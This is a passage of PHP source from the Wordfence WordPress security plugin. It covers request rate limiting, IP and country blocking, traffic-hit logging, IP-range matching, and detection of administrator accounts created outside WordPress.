wfRateLimit::countHit($type, wfUtils::getIP());
if (wfRateLimit::globalRateLimit()->shouldEnforce($type)) {
$this->takeBlockingAction('maxGlobalRequests', __("Exceeded the maximum global requests per minute for crawlers or humans.", 'wordfence'));
}
else if (wfRateLimit::crawlerViewsRateLimit()->shouldEnforce($type)) {
$this->takeBlockingAction('maxRequestsCrawlers', __("Exceeded the maximum number of requests per minute for crawlers.", 'wordfence')); //may not exit
}
else if (wfRateLimit::crawler404sRateLimit()->shouldEnforce($type)) {
$this->takeBlockingAction('max404Crawlers', __("Exceeded the maximum number of page not found errors per minute for a crawler.", 'wordfence'));
}
else if (wfRateLimit::humanViewsRateLimit()->shouldEnforce($type)) {
$this->takeBlockingAction('maxRequestsHumans', __("Exceeded the maximum number of page requests per minute for humans.", 'wordfence'));
}
else if (wfRateLimit::human404sRateLimit()->shouldEnforce($type)) {
$this->takeBlockingAction('max404Humans', __("Exceeded the maximum number of page not found errors per minute for humans.", 'wordfence'));
}
}
public function tagRequestForBlock($reason, $wfsn = false) {
if ($this->currentRequest !== null) {
$this->currentRequest->statusCode = 403;
$this->currentRequest->action = 'blocked:' . ($wfsn ? 'wfsn' : 'wordfence');
$this->currentRequest->actionDescription = $reason;
}
}
public function tagRequestForLockout($reason) {
if ($this->currentRequest !== null) {
$this->currentRequest->statusCode = 503;
$this->currentRequest->action = 'lockedOut';
$this->currentRequest->actionDescription = $reason;
}
}
/**
* @return bool|int
*/
public function logHit() {
$liveTrafficEnabled = wfConfig::liveTrafficEnabled();
$action = $this->currentRequest->action;
$logHitOK = $this->logHitOK();
if (!$logHitOK) {
return false;
}
if (!$liveTrafficEnabled && !$action) {
return false;
}
if ($this->currentRequest !== null) {
if ($this->currentRequest->save()) {
return $this->currentRequest->getPrimaryKey();
}
}
return false;
}
public function getHits($hitType /* 'hits' or 'logins' */, $type, $afterTime, $limit = 50, $IP = false){
global $wpdb;
$IPSQL = "";
if($IP){
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IP));
$IPSQL = " and IP={$ipHex} ";
$sqlArgs = array($afterTime, $limit);
} else {
$sqlArgs = array($afterTime, $limit);
}
if($hitType == 'hits'){
$securityOnly = !wfConfig::liveTrafficEnabled();
$delayedHumanBotFiltering = false;
if($type == 'hit'){
$typeSQL = " ";
} else if($type == 'crawler'){
if ($securityOnly) {
$typeSQL = " ";
$delayedHumanBotFiltering = true;
}
else {
$now = time();
$typeSQL = " and jsRun = 0 and {$now} - ctime > 30 ";
}
} else if($type == 'gCrawler'){
$typeSQL = " and isGoogle = 1 ";
} else if($type == '404'){
$typeSQL = " and statusCode = 404 ";
} else if($type == 'human'){
if ($securityOnly) {
$typeSQL = " ";
$delayedHumanBotFiltering = true;
}
else {
$typeSQL = " and jsRun = 1 ";
}
} else if($type == 'ruser'){
$typeSQL = " and userID > 0 ";
} else {
wordfence::status(1, 'error', sprintf(/* translators: Error message. */ __("Invalid log type to wfLog: %s", 'wordfence'), $type));
return false;
}
array_unshift($sqlArgs, "select h.*, u.display_name from {$this->hitsTable} h
LEFT JOIN {$wpdb->users} u on h.userID = u.ID
where ctime > %f $IPSQL $typeSQL order by ctime desc limit %d");
$results = call_user_func_array(array($this->getDB(), 'querySelect'), $sqlArgs);
if ($delayedHumanBotFiltering) {
$browscap = wfBrowscap::shared();
foreach ($results as $index => $res) {
if ($res['UA']) {
$b = $browscap->getBrowser($res['UA']);
if ($b && $b['Parent'] != 'DefaultProperties') {
$jsRun = wfUtils::truthyToBoolean($res['jsRun']);
if (!wfConfig::liveTrafficEnabled() && !$jsRun) {
$jsRun = !(isset($b['Crawler']) && $b['Crawler']);
}
if ($type == 'crawler' && $jsRun || $type == 'human' && !$jsRun) {
unset($results[$index]);
}
}
}
}
}
} else if($hitType == 'logins'){
array_unshift($sqlArgs, "select l.*, u.display_name from {$this->loginsTable} l
LEFT JOIN {$wpdb->users} u on l.userID = u.ID
where ctime > %f $IPSQL order by ctime desc limit %d");
$results = call_user_func_array(array($this->getDB(), 'querySelect'), $sqlArgs );
} else {
wordfence::status(1, 'error', sprintf(/* translators: Error message. */ __("getHits got invalid hitType: %s", 'wordfence'), $hitType));
return false;
}
$this->processGetHitsResults($type, $results);
return $results;
}
private function processActionDescription($description) {
switch ($description) {
case wfWAFIPBlocksController::WFWAF_BLOCK_UAREFIPRANGE:
return __('UA/Hostname/Referrer/IP Range not allowed', 'wordfence');
default:
return $description;
}
}
/**
* @param string $type
* @param array $results
* @throws Exception
*/
public function processGetHitsResults($type, &$results) {
$serverTime = $this->getDB()->querySingle("select unix_timestamp()");
$this->resolveIPs($results);
$ourURL = parse_url(site_url());
$ourHost = strtolower($ourURL['host']);
$ourHost = preg_replace('/^www\./i', '', $ourHost);
$browscap = wfBrowscap::shared();
$patternBlocks = wfBlock::patternBlocks(true);
foreach($results as &$res){
$res['type'] = $type;
$res['IP'] = wfUtils::inet_ntop($res['IP']);
$res['timeAgo'] = wfUtils::makeTimeAgo($serverTime - $res['ctime']);
$res['blocked'] = false;
$res['rangeBlocked'] = false;
$res['ipRangeID'] = -1;
if (array_key_exists('actionDescription', $res))
$res['actionDescription'] = $this->processActionDescription($res['actionDescription']);
$ipBlock = wfBlock::findIPBlock($res['IP']);
if ($ipBlock !== false) {
$res['blocked'] = true;
$res['blockID'] = $ipBlock->id;
}
foreach ($patternBlocks as $b) {
if (empty($b->ipRange)) { continue; }
$range = new wfUserIPRange($b->ipRange);
if ($range->isIPInRange($res['IP'])) {
$res['rangeBlocked'] = true;
$res['ipRangeID'] = $b->id;
break;
}
}
$res['extReferer'] = false;
if(isset( $res['referer'] ) && $res['referer']){
if(wfUtils::hasXSS($res['referer'] )){ //filtering out XSS
$res['referer'] = '';
}
}
if( isset( $res['referer'] ) && $res['referer']){
$refURL = parse_url($res['referer']);
if(is_array($refURL) && isset($refURL['host']) && $refURL['host']){
$refHost = strtolower(preg_replace('/^www\./i', '', $refURL['host']));
if($refHost != $ourHost){
$res['extReferer'] = true;
//now extract search terms
$q = false;
if(preg_match('/(?:google|bing|alltheweb|aol|ask)\./i', $refURL['host'])){
$q = 'q';
} else if(stristr($refURL['host'], 'yahoo.')){
$q = 'p';
} else if(stristr($refURL['host'], 'baidu.')){
$q = 'wd';
}
if($q){
$queryVars = array();
if( isset( $refURL['query'] ) ) {
parse_str($refURL['query'], $queryVars);
if(isset($queryVars[$q])){
$res['searchTerms'] = urlencode($queryVars[$q]);
}
}
}
}
}
if($res['extReferer']){
if ( isset( $referringPage ) && stristr( $referringPage['host'], 'google.' ) )
{
parse_str( $referringPage['query'], $queryVars );
// echo $queryVars['q']; // This is the search term used
}
}
}
$res['browser'] = false;
if($res['UA']){
$b = $browscap->getBrowser($res['UA']);
if($b && $b['Parent'] != 'DefaultProperties'){
$res['browser'] = array(
'browser' => !empty($b['Browser']) ? $b['Browser'] : "",
'version' => !empty($b['Version']) ? $b['Version'] : "",
'platform' => !empty($b['Platform']) ? $b['Platform'] : "",
'isMobile' => !empty($b['isMobileDevice']) ? $b['isMobileDevice'] : "",
'isCrawler' => !empty($b['Crawler']) ? $b['Crawler'] : "",
);
if (isset($res['jsRun']) && !wfConfig::liveTrafficEnabled() && !wfUtils::truthyToBoolean($res['jsRun'])) {
$res['jsRun'] = !(isset($b['Crawler']) && $b['Crawler']) ? '1' : '0';
}
}
else {
$IP = wfUtils::getIP();
$res['browser'] = array(
'isCrawler' => !wfLog::isHumanRequest($IP, $res['UA']) ? 'true' : ''
);
}
}
if($res['userID']){
$ud = get_userdata($res['userID']);
if($ud){
$res['user'] = array(
'editLink' => wfUtils::editUserLink($res['userID']),
'display_name' => $res['display_name'],
'ID' => $res['userID']
);
}
} else {
$res['user'] = false;
}
}
}
public function resolveIPs(&$results){
if(sizeof($results) < 1){ return; }
$IPs = array();
foreach($results as &$res){
if($res['IP']){ //Can also be zero in case of non IP events
$IPs[] = $res['IP'];
}
}
$IPLocs = wfUtils::getIPsGeo($IPs); //Creates an array with IP as key and data as value
foreach($results as &$res){
$ip_printable = wfUtils::inet_ntop($res['IP']);
if(isset($IPLocs[$ip_printable])){
$res['loc'] = $IPLocs[$ip_printable];
} else {
$res['loc'] = false;
}
}
}
public function logHitOK(){
if (!$this->canLogHit) {
return false;
}
if (is_admin()) { return false; } //Don't log admin pageviews
if (isset($_SERVER['HTTP_USER_AGENT'])) {
if (preg_match('/WordPress\/' . $this->wp_version . '/i', $_SERVER['HTTP_USER_AGENT'])) { return false; } //Ignore regular requests generated by WP UA.
}
$userID = get_current_user_id();
if (!$userID) {
$userID = $this->effectiveUserID;
}
if ($userID) {
$user = new WP_User($userID);
if ($user && $user->exists()) {
if (wfConfig::get('liveTraf_ignorePublishers') && ($user->has_cap('publish_posts') || $user->has_cap('publish_pages'))) {
return false;
}
if (wfConfig::get('liveTraf_ignoreUsers')) {
$ignored = explode(',', wfConfig::get('liveTraf_ignoreUsers'));
foreach ($ignored as $entry) {
if($user->user_login == $entry){
return false;
}
}
}
}
}
if(wfConfig::get('liveTraf_ignoreIPs')){
$IPs = explode(',', wfConfig::get('liveTraf_ignoreIPs'));
$IP = wfUtils::getIP();
foreach($IPs as $ignoreIP){
if($ignoreIP == $IP){
return false;
}
}
}
if( isset($_SERVER['HTTP_USER_AGENT']) && wfConfig::get('liveTraf_ignoreUA') ){
if($_SERVER['HTTP_USER_AGENT'] == wfConfig::get('liveTraf_ignoreUA')){
return false;
}
}
return true;
}
private function getDB(){
if(! $this->db){
$this->db = new wfDB();
}
return $this->db;
}
public function firewallBadIPs() {
$IP = wfUtils::getIP();
if (wfBlock::isWhitelisted($IP)) {
return;
}
//Range and UA pattern blocking
$patternBlocks = wfBlock::patternBlocks(true);
$userAgent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referrer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
foreach ($patternBlocks as $b) {
if ($b->matchRequest($IP, $userAgent, $referrer) !== wfBlock::MATCH_NONE) {
$b->recordBlock();
wfActivityReport::logBlockedIP($IP, null, 'advanced');
$this->currentRequest->actionDescription = __('UA/Referrer/IP Range not allowed', 'wordfence');
$this->do503(3600, __("Advanced blocking in effect.", 'wordfence')); //exits
}
}
// Country blocking
$countryBlocks = wfBlock::countryBlocks(true);
foreach ($countryBlocks as $b) {
$match = $b->matchRequest($IP, false, false);
if ($match === wfBlock::MATCH_COUNTRY_REDIR_BYPASS) {
$bypassRedirDest = wfConfig::get('cbl_bypassRedirDest', '');
$this->initLogRequest();
$this->getCurrentRequest()->actionDescription = __('redirected to bypass URL', 'wordfence');
$this->getCurrentRequest()->statusCode = 302;
$this->currentRequest->action = 'cbl:redirect';
$this->logHit();
wfUtils::doNotCache();
wp_redirect($bypassRedirDest, 302);
exit();
}
else if ($match === wfBlock::MATCH_COUNTRY_REDIR) {
$b->recordBlock();
wfConfig::inc('totalCountryBlocked');
$this->initLogRequest();
$this->getCurrentRequest()->actionDescription = sprintf(/* translators: URL */ __('blocked access via country blocking and redirected to URL (%s)', 'wordfence'), wfConfig::get('cbl_redirURL'));
$this->getCurrentRequest()->statusCode = 503;
if (!$this->getCurrentRequest()->action) {
$this->currentRequest->action = 'blocked:wordfence';
}
$this->logHit();
wfActivityReport::logBlockedIP($IP, null, 'country');
wfUtils::doNotCache();
wp_redirect(wfConfig::get('cbl_redirURL'), 302);
exit();
}
else if ($match !== wfBlock::MATCH_NONE) {
$b->recordBlock();
$this->currentRequest->actionDescription = __('blocked access via country blocking', 'wordfence');
wfConfig::inc('totalCountryBlocked');
wfActivityReport::logBlockedIP($IP, null, 'country');
$this->do503(3600, __('Access from your area has been temporarily limited for security reasons', 'wordfence'));
}
}
//Specific IP blocks
$ipBlock = wfBlock::findIPBlock($IP);
if ($ipBlock !== false) {
$ipBlock->recordBlock();
$secsToGo = max(0, $ipBlock->expiration - time());
if (wfConfig::get('other_WFNet') && self::isAuthRequest()) { //It's an auth request and this IP has been blocked
$this->getCurrentRequest()->action = 'blocked:wfsnrepeat';
wordfence::wfsnReportBlockedAttempt($IP, 'login');
}
$reason = $ipBlock->reason;
if ($ipBlock->type == wfBlock::TYPE_IP_MANUAL || $ipBlock->type == wfBlock::TYPE_IP_AUTOMATIC_PERMANENT) {
$reason = __('Manual block by administrator', 'wordfence');
}
$this->do503($secsToGo, $reason); //exits
}
}
private function takeBlockingAction($configVar, $reason) {
if ($this->googleSafetyCheckOK()) {
$action = wfConfig::get($configVar . '_action');
if (!$action) {
return;
}
$IP = wfUtils::getIP();
$secsToGo = 0;
if ($action == 'block') { //Rate limited - block temporarily
$secsToGo = wfBlock::blockDuration();
wfBlock::createRateBlock($reason, $IP, $secsToGo);
wfActivityReport::logBlockedIP($IP, null, 'throttle');
$this->tagRequestForBlock($reason);
$alertCallback = array(new wfBlockAlert($IP, $reason, $secsToGo), 'send');
do_action('wordfence_security_event', 'block', array(
'ip' => $IP,
'reason' => $reason,
'duration' => $secsToGo,
), $alertCallback);
wordfence::status(2, 'info', sprintf(/* translators: 1. IP address. 2. Description of firewall action. */ __('Blocking IP %1$s. %2$s', 'wordfence'), $IP, $reason));
}
else if ($action == 'throttle') { //Rate limited - throttle
$secsToGo = wfBlock::rateLimitThrottleDuration();
wfBlock::createRateThrottle($reason, $IP, $secsToGo);
wfActivityReport::logBlockedIP($IP, null, 'throttle');
do_action('wordfence_security_event', 'throttle', array(
'ip' => $IP,
'reason' => $reason,
'duration' => $secsToGo,
));
wordfence::status(2, 'info', sprintf(/* translators: 1. IP address. 2. Description of firewall action. */ __('Throttling IP %1$s. %2$s', 'wordfence'), $IP, $reason));
wfConfig::inc('totalIPsThrottled');
}
$this->do503($secsToGo, $reason, false);
}
return;
}
/**
* Test if the current request is for wp-login.php or xmlrpc.php
*
* @return boolean
*/
private static function isAuthRequest() {
if ((strpos($_SERVER['REQUEST_URI'], '/wp-login.php') !== false)) {
return true;
}
return false;
}
public function do503($secsToGo, $reason, $sendEventToCentral = true){
$this->initLogRequest();
if ($sendEventToCentral) {
do_action('wordfence_security_event', 'block', array(
'ip' => wfUtils::inet_ntop($this->currentRequest->IP),
'reason' => $this->currentRequest->actionDescription ? $this->currentRequest->actionDescription : $reason,
'duration' => $secsToGo,
));
}
$this->currentRequest->statusCode = 503;
if (!$this->currentRequest->action) {
$this->currentRequest->action = 'blocked:wordfence';
}
if (!$this->currentRequest->actionDescription) {
$this->currentRequest->actionDescription = "blocked: " . $reason;
}
$this->logHit();
wfConfig::inc('total503s');
wfUtils::doNotCache();
header('HTTP/1.1 503 Service Temporarily Unavailable');
header('Status: 503 Service Temporarily Unavailable');
if($secsToGo){
header('Retry-After: ' . $secsToGo);
}
$customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', '')));
require_once(dirname(__FILE__) . '/wf503.php');
exit();
}
private function redirect($URL){
wfUtils::doNotCache();
wp_redirect($URL, 302);
exit();
}
private function googleSafetyCheckOK(){ //returns true if OK to block. Returns false if we must not block.
$cacheKey = md5( (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '') . ' ' . wfUtils::getIP());
//Cache so we can call this multiple times in one request
if(! isset(self::$gbSafeCache[$cacheKey])){
$nb = wfConfig::get('neverBlockBG');
if($nb == 'treatAsOtherCrawlers'){
self::$gbSafeCache[$cacheKey] = true; //OK to block because we're treating google like everyone else
} else if($nb == 'neverBlockUA' || $nb == 'neverBlockVerified'){
if(wfCrawl::isGoogleCrawler()){ //Check the UA using regex
if($nb == 'neverBlockVerified'){
if(wfCrawl::isVerifiedGoogleCrawler(wfUtils::getIP())){ //UA check passed, now verify using PTR if configured to
self::$gbSafeCache[$cacheKey] = false; //This is a verified Google crawler, so no we can't block it
} else {
self::$gbSafeCache[$cacheKey] = true; //This is a crawler claiming to be Google but it did not verify
}
} else { //neverBlockUA
self::$gbSafeCache[$cacheKey] = false; //User configured us to only do a UA check and this claims to be google so don't block
}
} else {
self::$gbSafeCache[$cacheKey] = true; //This isn't a Google UA, so it's OK to block
}
} else {
//error_log("Wordfence error: neverBlockBG option is not set.");
self::$gbSafeCache[$cacheKey] = false; //Oops the config option is not set. This should never happen because it's set on install. So we return false to indicate it's not OK to block just for safety.
}
}
if(! isset(self::$gbSafeCache[$cacheKey])){
//error_log("Wordfence assertion fail in googleSafetyCheckOK: cached value is not set.");
return false; //for safety
}
return self::$gbSafeCache[$cacheKey]; //return cached value
}
public function addStatus($level, $type, $msg){
//$msg = '[' . sprintf('%.2f', memory_get_usage(true) / (1024 * 1024)) . '] ' . $msg;
$this->getDB()->queryWrite("insert into " . $this->statusTable . " (ctime, level, type, msg) values (%s, %d, '%s', '%s')", sprintf('%.6f', microtime(true)), $level, $type, $msg);
}
public function getStatusEvents($lastCtime){
if($lastCtime < 1){
$lastCtime = $this->getDB()->querySingle("select ctime from " . $this->statusTable . " order by ctime desc limit 1000,1");
if(! $lastCtime){
$lastCtime = 0;
}
}
$results = $this->getDB()->querySelect("select ctime, level, type, msg from " . $this->statusTable . " where ctime > %f order by ctime asc", $lastCtime);
$timeOffset = 3600 * get_option('gmt_offset');
foreach($results as &$rec){
//$rec['timeAgo'] = wfUtils::makeTimeAgo(time() - $rec['ctime']);
$rec['date'] = date('M d H:i:s', (int) $rec['ctime'] + $timeOffset);
$rec['msg'] = wp_kses_data( (string) $rec['msg']);
}
return $results;
}
public function getSummaryEvents(){
$results = $this->getDB()->querySelect("select ctime, level, type, msg from " . $this->statusTable . " where level = 10 order by ctime desc limit 100");
$timeOffset = 3600 * get_option('gmt_offset');
foreach($results as &$rec){
$rec['date'] = date('M d H:i:s', (int) $rec['ctime'] + $timeOffset);
if(strpos($rec['msg'], 'SUM_PREP:') === 0){
break;
}
}
return array_reverse($results);
}
/**
* @return string
*/
public function getGooglePattern() {
return $this->googlePattern;
}
}
/**
*
*/
class wfUserIPRange {
/**
* @var string|null
*/
private $ip_string;
/**
* @param string|null $ip_string
*/
public function __construct($ip_string = null) {
$this->setIPString($ip_string);
}
/**
* Check if the supplied IP address is within the user supplied range.
*
* @param string $ip
* @return bool
*/
public function isIPInRange($ip) {
$ip_string = $this->getIPString();
if (strpos($ip_string, '/') !== false) { //CIDR range -- 127.0.0.1/24
return wfUtils::subnetContainsIP($ip_string, $ip);
}
else if (strpos($ip_string, '[') !== false) //Bracketed range -- 127.0.0.[1-100]
{
// IPv4 range
if (strpos($ip_string, '.') !== false && strpos($ip, '.') !== false) {
// IPv4-mapped-IPv6
if (preg_match('/:ffff:([^:]+)$/i', $ip_string, $matches)) {
$ip_string = $matches[1];
}
if (preg_match('/:ffff:([^:]+)$/i', $ip, $matches)) {
$ip = $matches[1];
}
// Range check
if (preg_match('/\[\d+\-\d+\]/', $ip_string)) {
$IPparts = explode('.', $ip);
$whiteParts = explode('.', $ip_string);
$mismatch = false;
if (count($whiteParts) != 4 || count($IPparts) != 4) {
return false;
}
for ($i = 0; $i <= 3; $i++) {
if (preg_match('/^\[(\d+)\-(\d+)\]$/', $whiteParts[$i], $m)) {
if ($IPparts[$i] < $m[1] || $IPparts[$i] > $m[2]) {
$mismatch = true;
}
}
else if ($whiteParts[$i] != $IPparts[$i]) {
$mismatch = true;
}
}
if ($mismatch === false) {
return true; // Is whitelisted because we did not get a mismatch
}
}
else if ($ip_string == $ip) {
return true;
}
// IPv6 range
}
else if (strpos($ip_string, ':') !== false && strpos($ip, ':') !== false) {
$ip = strtolower(wfUtils::expandIPv6Address($ip));
$ip_string = strtolower(self::expandIPv6Range($ip_string));
if (preg_match('/\[[a-f0-9]+\-[a-f0-9]+\]/i', $ip_string)) {
$IPparts = explode(':', $ip);
$whiteParts = explode(':', $ip_string);
$mismatch = false;
if (count($whiteParts) != 8 || count($IPparts) != 8) {
return false;
}
for ($i = 0; $i <= 7; $i++) {
if (preg_match('/^\[([a-f0-9]+)\-([a-f0-9]+)\]$/i', $whiteParts[$i], $m)) {
$ip_group = hexdec($IPparts[$i]);
$range_group_from = hexdec($m[1]);
$range_group_to = hexdec($m[2]);
if ($ip_group < $range_group_from || $ip_group > $range_group_to) {
$mismatch = true;
break;
}
}
else if ($whiteParts[$i] != $IPparts[$i]) {
$mismatch = true;
break;
}
}
if ($mismatch === false) {
return true; // Is whitelisted because we did not get a mismatch
}
}
else if ($ip_string == $ip) {
return true;
}
}
}
else if (strpos($ip_string, '-') !== false) { //Linear range -- 127.0.0.1 - 127.0.1.100
list($ip1, $ip2) = explode('-', $ip_string);
$ip1N = wfUtils::inet_pton($ip1);
$ip2N = wfUtils::inet_pton($ip2);
$ipN = wfUtils::inet_pton($ip);
return (strcmp($ip1N, $ipN) <= 0 && strcmp($ip2N, $ipN) >= 0);
}
else { //Treat as a literal IP
$ip1 = wfUtils::inet_pton($ip_string);
$ip2 = wfUtils::inet_pton($ip);
if ($ip1 !== false && $ip1 == $ip2) {
return true;
}
}
return false;
}
private static function repeatString($string, $count) {
if ($count <= 0)
return '';
return str_repeat($string, $count);
}
/**
* Expand a compressed printable range representation of an IPv6 address.
*
* @todo Hook up exceptions for better error handling.
* @todo Allow IPv4 mapped IPv6 addresses (::ffff:192.168.1.1).
* @param string $ip_range
* @return string
*/
public static function expandIPv6Range($ip_range) {
$colon_count = substr_count($ip_range, ':');
$dbl_colon_count = substr_count($ip_range, '::');
if ($dbl_colon_count > 1) {
return false;
}
$dbl_colon_pos = strpos($ip_range, '::');
if ($dbl_colon_pos !== false) {
$ip_range = str_replace('::', self::repeatString(':0000',
(($dbl_colon_pos === 0 || $dbl_colon_pos === strlen($ip_range) - 2) ? 9 : 8) - $colon_count) . ':', $ip_range);
$ip_range = trim($ip_range, ':');
}
$colon_count = substr_count($ip_range, ':');
if ($colon_count != 7) {
return false;
}
$groups = explode(':', $ip_range);
$expanded = '';
foreach ($groups as $group) {
if (preg_match('/\[([a-f0-9]{1,4})\-([a-f0-9]{1,4})\]/i', $group, $matches)) {
$expanded .= sprintf('[%s-%s]', str_pad(strtolower($matches[1]), 4, '0', STR_PAD_LEFT), str_pad(strtolower($matches[2]), 4, '0', STR_PAD_LEFT)) . ':';
} else if (preg_match('/[a-f0-9]{1,4}/i', $group)) {
$expanded .= str_pad(strtolower($group), 4, '0', STR_PAD_LEFT) . ':';
} else {
return false;
}
}
return trim($expanded, ':');
}
/**
* @return bool
*/
public function isValidRange() {
return $this->isValidCIDRRange() || $this->isValidBracketedRange() || $this->isValidLinearRange() || wfUtils::isValidIP($this->getIPString());
}
public function isValidCIDRRange() { //e.g., 192.0.2.1/24
$ip_string = $this->getIPString();
if (preg_match('/[^0-9a-f:\/\.]/i', $ip_string)) { return false; }
return wfUtils::isValidCIDRRange($ip_string);
}
public function isValidBracketedRange() { //e.g., 192.0.2.[1-10]
$ip_string = $this->getIPString();
if (preg_match('/[^0-9a-f:\.\[\]\-]/i', $ip_string)) { return false; }
if (strpos($ip_string, '.') !== false) { //IPv4
if (preg_match_all('/(\d+)/', $ip_string, $matches) > 0) {
foreach ($matches[1] as $match) {
$group = (int) $match;
if ($group > 255 || $group < 0) {
return false;
}
}
}
$group_regex = '([0-9]{1,3}|\[[0-9]{1,3}\-[0-9]{1,3}\])';
return preg_match('/^' . str_repeat("{$group_regex}\\.", 3) . $group_regex . '$/i', $ip_string) > 0;
}
//IPv6
if (strpos($ip_string, '::') !== false) {
$ip_string = self::expandIPv6Range($ip_string);
}
if (!$ip_string) {
return false;
}
$group_regex = '([a-f0-9]{1,4}|\[[a-f0-9]{1,4}\-[a-f0-9]{1,4}\])';
return preg_match('/^' . str_repeat("$group_regex:", 7) . $group_regex . '$/i', $ip_string) > 0;
}
public function isValidLinearRange() { //e.g., 192.0.2.1-192.0.2.100
$ip_string = $this->getIPString();
if (preg_match('/[^0-9a-f:\.\-]/i', $ip_string)) { return false; }
list($ip1, $ip2) = explode("-", $ip_string);
if (!wfUtils::isValidIP($ip1) || !wfUtils::isValidIP($ip2)) {
return false;
}
$ip1N = wfUtils::inet_pton($ip1);
$ip2N = wfUtils::inet_pton($ip2);
if ($ip1N === false || $ip2N === false) {
return false;
}
return strcmp($ip1N, $ip2N) <= 0;
}
public function isMixedRange() { //e.g., 192.0.2.1-2001:db8::ffff
$ip_string = $this->getIPString();
if (preg_match('/[^0-9a-f:\.\-]/i', $ip_string)) { return false; }
list($ip1, $ip2) = explode("-", $ip_string);
$ipv4Count = 0;
$ipv4Count += filter_var($ip1, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false ? 1 : 0;
$ipv4Count += filter_var($ip2, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false ? 1 : 0;
$ipv6Count = 0;
$ipv6Count += filter_var($ip1, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? 1 : 0;
$ipv6Count += filter_var($ip2, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? 1 : 0;
if ($ipv4Count != 2 && $ipv6Count != 2) {
return true;
}
return false;
}
protected function _sanitizeIPRange($ip_string) {
if (!is_string($ip_string))
return null;
$ip_string = preg_replace('/\s/', '', $ip_string); //Strip whitespace
$ip_string = preg_replace('/[\\x{2013}-\\x{2015}]/u', '-', $ip_string); //Non-hyphen dashes to hyphen
$ip_string = strtolower($ip_string);
if (preg_match('/^\d+-\d+$/', $ip_string)) { //v5 32 bit int style format
list($start, $end) = explode('-', $ip_string);
$start = long2ip($start);
$end = long2ip($end);
$ip_string = "{$start}-{$end}";
}
return $ip_string;
}
/**
* @return string|null
*/
public function getIPString() {
return $this->ip_string;
}
/**
* @param string|null $ip_string
*/
public function setIPString($ip_string) {
$this->ip_string = $this->_sanitizeIPRange($ip_string);
}
}
/**
* The function of this class is to detect admin users created via direct access to the database (in other words, not
* through WordPress).
*/
class wfAdminUserMonitor {
protected $currentAdminList = array();
public function isEnabled() {
$options = wfScanner::shared()->scanOptions();
$enabled = $options['scansEnabled_suspiciousAdminUsers'];
if ($enabled && is_multisite()) {
if (!function_exists('wp_is_large_network')) {
require_once(ABSPATH . WPINC . '/ms-functions.php');
}
$enabled = !wp_is_large_network('sites') && !wp_is_large_network('users');
}
return $enabled;
}
/**
*
*/
public function createInitialList() {
$admins = $this->getCurrentAdmins();
$adminUserList = array();
foreach ($admins as $id => $user) {
$adminUserList[$id] = 1;
}
wfConfig::set_ser('adminUserList', $adminUserList);
}
/**
* @param int $userID
*/
public function grantSuperAdmin($userID = null) {
if ($userID) {
$this->addAdmin($userID);
}
}
/**
* @param int $userID
*/
public function revokeSuperAdmin($userID = null) {
if ($userID) {
$this->removeAdmin($userID);
}
}
/**
* @param int $ID
* @param mixed $role
* @param mixed $old_roles
*/
public function updateToUserRole($ID = null, $role = null, $old_roles = null) {
$admins = $this->getLoggedAdmins();
if ($role !== 'administrator' && array_key_exists($ID, $admins)) {
$this->removeAdmin($ID);
} else if ($role === 'administrator') {
$this->addAdmin($ID);
}
}
/**
* @return array|bool
*/
public function checkNewAdmins() {
$loggedAdmins = $this->getLoggedAdmins();
$admins = $this->getCurrentAdmins();
$suspiciousAdmins = array();
foreach ($admins as $adminID => $v) {
if (!array_key_exists($adminID, $loggedAdmins)) {
$suspiciousAdmins[] = $adminID;
}
}
return $suspiciousAdmins ? $suspiciousAdmins : false;
}
/**
* Checks if the supplied user ID is suspicious.
*
* @param int $userID
* @return bool
*/
public function isAdminUserLogged($userID) {
$loggedAdmins = $this->getLoggedAdmins();
return array_key_exists($userID, $loggedAdmins);
}
/**
* @param bool $forceReload
* @return array
*/
public function getCurrentAdmins($forceReload = false) {
if (empty($this->currentAdminList) || $forceReload) {
require_once(ABSPATH . WPINC . '/user.php');
if (is_multisite()) {
if (function_exists("get_sites")) {
$sites = get_sites(array(
'network_id' => null,
));
}
else {
$sites = wp_get_sites(array(
'network_id' => null,
));
}
} else {
$sites = array(array(
'blog_id' => get_current_blog_id(),
));
}
// not very efficient, but the WordPress API doesn't provide a good way to do this.
$this->currentAdminList = array();
foreach ($sites as $siteRow) {
$siteRowArray = (array) $siteRow;
$user_query = new WP_User_Query(array(
'blog_id' => $siteRowArray['blog_id'],
'role' => 'administrator',
));
$users = $user_query->get_results();
if (is_array($users)) {
/** @var WP_User $user */
foreach ($users as $user) {
$this->currentAdminList[$user->ID] = $user;
}
}
}
// Add any super admins that aren't also admins on a network
$superAdmins = get_super_admins();
foreach ($superAdmins as $userLogin) {
$user = get_user_by('login', $userLogin);
if ($user) {
$this->currentAdminList[$user->ID] = $user;
}
}
}
return $this->currentAdminList;
}
public function getLoggedAdmins() {
$loggedAdmins = wfConfig::get_ser('adminUserList', false);
if (!is_array($loggedAdmins)) {
$this->createInitialList();
$loggedAdmins = wfConfig::get_ser('adminUserList', false);
}
if (!is_array($loggedAdmins)) {
$loggedAdmins = array();
}
return $loggedAdmins;
}
/**
* @param int $userID
*/
public function addAdmin($userID) {
$loggedAdmins = $this->getLoggedAdmins();
if (!array_key_exists($userID, $loggedAdmins)) {
$loggedAdmins[$userID] = 1;
wfConfig::set_ser('adminUserList', $loggedAdmins);
}
}
/**
* @param int $userID
*/
public function removeAdmin($userID) {
$loggedAdmins = $this->getLoggedAdmins();
if (array_key_exists($userID, $loggedAdmins) && !array_key_exists($userID, $this->getCurrentAdmins())) {
unset($loggedAdmins[$userID]);
wfConfig::set_ser('adminUserList', $loggedAdmins);
}
}
}
/**
* Represents a request record
*
* @property int $id
* @property float $attackLogTime
* @property float $ctime
* @property string $IP
* @property bool $jsRun
* @property int $statusCode
* @property bool $isGoogle
* @property int $userID
* @property string $URL
* @property string $referer
* @property string $UA
* @property string $action
* @property string $actionDescription
* @property string $actionData
*/
class wfRequestModel extends wfModel {
private static $actionDataEncodedParams = array(
'paramKey',
